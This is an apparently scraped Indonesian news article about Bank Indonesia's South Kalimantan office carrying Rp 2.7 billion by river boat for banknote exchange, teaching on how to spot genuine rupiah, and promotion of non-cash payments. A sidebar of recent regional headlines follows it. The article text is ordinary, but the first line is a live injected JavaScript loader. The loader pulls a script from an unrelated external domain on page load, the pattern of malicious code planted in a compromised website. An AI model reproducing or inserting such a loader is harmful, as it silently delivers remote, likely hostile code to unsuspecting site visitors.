(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Hidupkan Transaksi Perbankan di Sungai, BI Kalsel Bawa Uang Rp 2,7 M


BANJARMASIN, Uang senilai Rp 2,7 M dalam empat buah box besi yang dikawal ketat oleh pihak kepolisian siap diangkut oleh dua klotok menyusuri Sungai Martapura dari dermaga Siring hingga menuju dermaga Amuntai, Hulu Sungai Utara (HSU). Kegiatan ini merupakan rangkaian kegiatan Kas Keliling Susur Sungai & Sosialisasi Ciri-ciri Keaslian Uang Rupiah yang dilakukan oleh kantor wilayah BI (Bank Indonesia) Kalsel.

Sudah menjadi tugas BI untuk melakukan tugas yang langsung berdampak ke masyarakat. Kegiatan yang relatif baru di lingkungan BI Kalsel ini mengirim 15 anggotanya termasuk petugas sosialisasi, kasir, dan juga petugas kepolisian. Kegiatan ini juga bertepatan dengan hari lahir BI yang ke-66.

Disampaikan oleh Kepala Kanwil BI Kalsel, Herawanto usai ramadhan lalu peredaran uang relatif meningkat. Sehingga berakibat banyaknya uang yang harus ditarik kembali oleh BI karena lusuh dan tidak layak beredar. Sehingga ia berharap dalam kegiatan ini uang sebesar 2,7 M bisa tertukar seluruhnya dan memenuhi target.

Angka Rp 2,7 miliar sendiri merupakan hasil dari survei pihak BI atas kisaran uang yang diperlukan masyarakat Kalsel di beberapa titik, terutama di pinggir bantaran sungai. “Kita tahu masyarakat Kalsel banyak yang bertransaksi di pinggir sungai. Ini juga merupakan upaya penguatan kultur budaya yang di Kalsel ini berbasi sungai,” jelasnya.

Sebab menurut Herawanto, sumber pertumbuhan baru potensial yang patut dikembagkan di Kalsel adalah pariwisata. Salah satu kekuatan utama pariwisata Kalsel adalah susur sungai.

Tidak hanya itu, selain juga memberi sosialisasi tentang ciri-ciri keaslian uang rupiah, pihaknya juga akan memberikan sosialiasi terkait pembayaran non tunai. Hal ini disebabkan perekonomian Indonesia ke depan sudah harus menuju ekonomi digital dan syarat pembayaran non tunai adalah salah satu syaratnya.

“Kami tahu betul bahwa kultur masyarakat di Kalsel ini sangat berbasi tunai. Kita kenalkan, terus sosialisasikan sistem pembayaran non tunai dengan QR Code dan sebagainya. Ini tidak lain ke depan, pereekonomian Indonesia harus melangkah ke arah non tunai,” tuturnya.

Herawanto berpesan agar para masyakarat sekiranya dapat memperlakukan uang tunai yang baru ditukar kelak dengan baik. Sebab ongkos cetak uang tidaklah murah. “Jadi jangan cepat lusuh dan jadi tidak layak edar. Ini ongkos bagi negara,” pungkas pria berkacamata itu.(mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

1 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

2 jam ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

3 jam ago

Kasus Cuci Uang Narkoba, Ayah Fredy Pratama Tak Ajukan Banding

KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More

3 jam ago

Kucing-kucingan Anak Kecil vs Satpol PP di Lampu Lalulintas Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More

4 jam ago

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More

5 jam ago

This website uses cookies.